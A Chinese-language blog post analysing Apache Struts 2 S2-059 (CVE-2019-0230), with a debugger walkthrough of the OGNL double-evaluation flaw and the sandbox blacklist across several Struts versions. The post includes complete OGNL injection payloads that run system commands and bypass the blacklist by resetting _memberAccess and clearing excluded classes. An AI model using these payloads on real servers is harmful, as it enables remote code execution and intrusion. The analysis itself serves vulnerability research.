2020.08.13 由官方发出安全通告
漏洞描述:
Apache Struts 2 会对某些标签属性(比如 id)的属性值进行二次表达式解析,因此在某些场景下将可能导致远程代码执行。
此问题仅适用于当在 Struts 标签属性内强制进行 OGNL 表达式解析时的情况
https://cwiki.apache.org/confluence/display/WW/S2-007
1 | <s:url var="url" namespace="/employee" action="list"/><s:a |
如果攻击者能够在请求中控制 skillName
属性值且应用未对其进行检查校验,则攻击者可以直接传入一个 OGNL 表达式,那么最终当标签渲染的时候,skillName
的表达式就会因为二次解析而被执行。
1 | 影响: |
漏洞分析:
该漏洞在昨天也就是 2020.08.13,由官方发出安全通告,声明对其存在的一个远程代码执行漏洞进行修复
CVE 编号为 CVE-2019-0230
看到这个漏洞的时候,因为最近刚好在调试分析 struct2 的一些历史漏洞,所以想到了最开始的 s2-001,在 s2-001 中漏洞产生的原因就是递归解析表达式,s2-059 也是二次解析,那么有什么不同呢,下面简单分析下
Struct 2.3.10 分析
paylaod:
1 | %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
根据漏洞描述简单新建个环境
定义一个 action
1 | package top.j0k3r.s2059.action; |
structs.xml 配置 action
1 | <action name="s2059" class="top.j0k3r.s2059.action.IndexAction"> |
index.jsp
1 | <%@ page language="java" contentType="text/html; charset=UTF-8" |
web.xml
1 | <filter> |
这里 struts2-core 版本使用的是 2.3.1,后面 2.5.x 版本禁止访问 context.map,而且黑名单成了不可变集合,不同的 struct 版本,payload 也是不同的
先传入一个 %{11-1}
测试下
1 | /s2059.action?name=%25%7B11-1%7D |
可以看到成功解析了
1 | %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})).start()} |
下断点 debug,看下流程走向
当解析 JSP 的时候 来到 struts2-core-2.3.1.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class 的 doStartTag 方法
继续跟进直到 struts2-core-2.3.1.jar!/org/apache/struts2/components/UIBean.class 的 evaluateParams 方法,后面调用了 populateComponentHtmlId 方法,跟进
还是位于 UIBean 中,可以看出,这个 id 就是我们输入的 paylaod,也就是设置的 id 的值,再继续跟进 findStringIfAltSyntax
判断之后会通过 struts2-core-2.3.1.jar!/org/apache/struts2/components/Component.class 的 findString 方法进行处理
Component 调用 findValue 方法,这是能看到熟悉的 translateVariables 方法,在 s2-001中就是该方法递归解析 %{}
导致执行用户输入的恶意 ognl 表达式
看下 translateVariables 方法
添加了 loopCount 判断解析层数,防止二次解析,获取我们输入的 ognl 表达式内容后,再看后面 findValue 处理
在往后交给会由 OgnlUtil.getValue 处理表达式,导致代码执行
上面流程是由 doStartTag 开始分析的,而 doStartTag 执行完后,会来到 doEndTag 方法
来到 evaluateParams 方法,位于 struts2-core-2.3.1.jar!/org/apache/struts2/components/UIBean.class
能看出,下面还会在调用一次 populateComponentHtmlId 方法
所以会执行两次
Struct 2.3.20 分析
直接来到 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/util/OgnlTextParser.class 的 evaluate 方法,取出表达式内容交给 evaluator.evaluate
往下跟进 evaluate 方法
一路跟进来到 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/ognl/OgnlValueStack.class 的 getValue 方法
但是往下 getValue 完了也没有执行命令,在回来深入 getValue 一路跟到 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/ognl/OgnlUtil.class 的 compileAndExecute
再一路跟进来到 ognl-3.0.6.jar!/ognl/Ognl.class 的 getValue 方法,执行表达式
后面由于 access denied 无法执行此 paylaod
尝试调用静态方法执行命令
在 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/ognl/SecurityMemberAccess.class 的 isClassExcluded 方法中能看出 this.excludedClasses 就是一个 class 黑名单,如果我们的 class 与其中的 class 相同或是其子类或接口就会返回 true,导致上面的 isAccessible 方法最终返回 false
回到 ognl-3.0.6.jar!/ognl/OgnlRuntime.class 的 callAppropriateMethod 方法,结果最终抛出一个 NoSuchMethodException,于是 callStaticMethod 失败,无法执行命令
那么怎么才能绕过呢,先看下 struct2 黑名单的产生过程
struct2 在一开始 createValueStack 创建 ognl ValueStack,接着通过 container.inject(stack) 将依赖项注入现有的字段和方法
通过这个注入操作,会使用 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/ognl/OgnlValueStack.class 的 setOgnlUtil 方法添加黑名单
内容如下
那我们在哪修改呢,早在开始创建 OgnlValueStack 的时候,调用 Ognl.createDefaultContext,传入了 securityMemberAccess
随后又调用 ognl-3.0.6.jar!/ognl/Ognl.class 的 addDefaultContext 方法,新建一个 OgnlContext,通过 setMemberAccess 方法设置 Context 中的 MemberAccess
看下 ognl-3.0.6.jar!/ognl/OgnlContext.class 的 setMemberAccess,即赋值给了 _memberAccess
而 SecurityMemberAccess 又继承了 DefaultMemberAccess ,也就是说各黑名单和设置项存于上下文中的 _memberAccess
,知道这一点就知道 paylaod 该怎怎么绕过了,首先通过设置 _memberAccess['allowPrivateAccess']
授权访问 private 方法,再修改 excludedClasses、allowStaticMethodAccess,然后执行命令
2.3.20 Payload:
1 | %{(#_memberAccess['allowPrivateAccess']=true,#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))} |
Struct 2.5.10 分析
前期流程差不不是很大,还是来到 populateComponentHtmlId 方法,进入 findStringIfAltSyntax,如果开启了 altSyntax,下面开始 findValue 处理
调用栈如下:
1 | compileAndExecute:371, OgnlUtil (com.opensymphony.xwork2.ognl) |
一直到 compileAndExecute 都没有问题,但是接下来调用 checkEnableEvalExpression ->isEvalExpression 之后 return 语句当中的 node.isSequence 发现不同的 paylaod IDEA 跟进的函数不同(前面的调用栈相同)
isEvalExpression 函数
当使用下面 paylaod 时,无法执行命令
1 | %25%7B(%23_memberAccess%5B'allowPrivateAccess'%5D%3Dtrue%2C%23_memberAccess%5B'excludedClasses'%5D%3D%23_memberAccess%5B'acceptProperties'%5D%2C%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('%2FApplications%2FCalculator.app%2FContents%2FMacOS%2FCalculator').getInputStream()))%7D |
跟进的 isSequence 函数为 ognl-3.1.12.jar!/ognl/ASTSequence.class 中的 isSequence
public boolean isSequence(OgnlContext context) {
return true;
}
而当使用下面 paylaod 时,该 paylaod 能绕过限制,执行命令
1 | %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd={'/bin/bash','-c','id'}).(#p=new java.lang.ProcessBuilder(#cmd)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} |
跟进的 isSequence 函数为 ognl-3.1.12.jar!/ognl/SimpleNode.class 中的 isSequence
1 | public boolean isSequence(OgnlContext context) throws OgnlException { |
那是为什么呢,其实仔细观察之后能发现两者的不同
一个是 ASTSequnce,一个则是 ASTChain,再看 checkEnableEvalExpression 函数
1 | private void checkEnableEvalExpression(Object tree, Map<String, Object> context) throws OgnlException { |
Eval expressions/chained expressions have been disabled!
,也就是说这里 ognl 会检查表达式是否可执行,而且 Eval expressions/chained expressions 两种形式的表达式被禁止
- ASTSequence
- 表现形式:
#xxx=a, #yyy=b
- 表现形式:
- ASTEval
- 表现形式:
(#xxx)(#yyy)
- 表现形式:
- ASTChain
- 表现形式:
#xxx.#yyy
- 表现形式:
所以要避免使用 ASTSequence 或 ASTEval 形式的 paylaod
Payload:
1 | linux: |
Struct 2.5.16
因为禁止了对 context.map 的访问,所以通过attr
绕过,获取一个context.map
,然后通过 setExcludedPackageNames 和 setExcludedClasses 将名单置空,再覆盖 _memberAccess
Payload:
1 | %25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.setExcludedClasses('')).(%23ognlUtil.setExcludedPackageNames(''))%7D |
Reference
https://seaii-blog.com/index.php/2019/12/29/90.html
https://lucifaer.com/2019/01/16/%E6%B5%85%E6%9E%90OGNL%E7%9A%84%E6%94%BB%E9%98%B2%E5%8F%B2/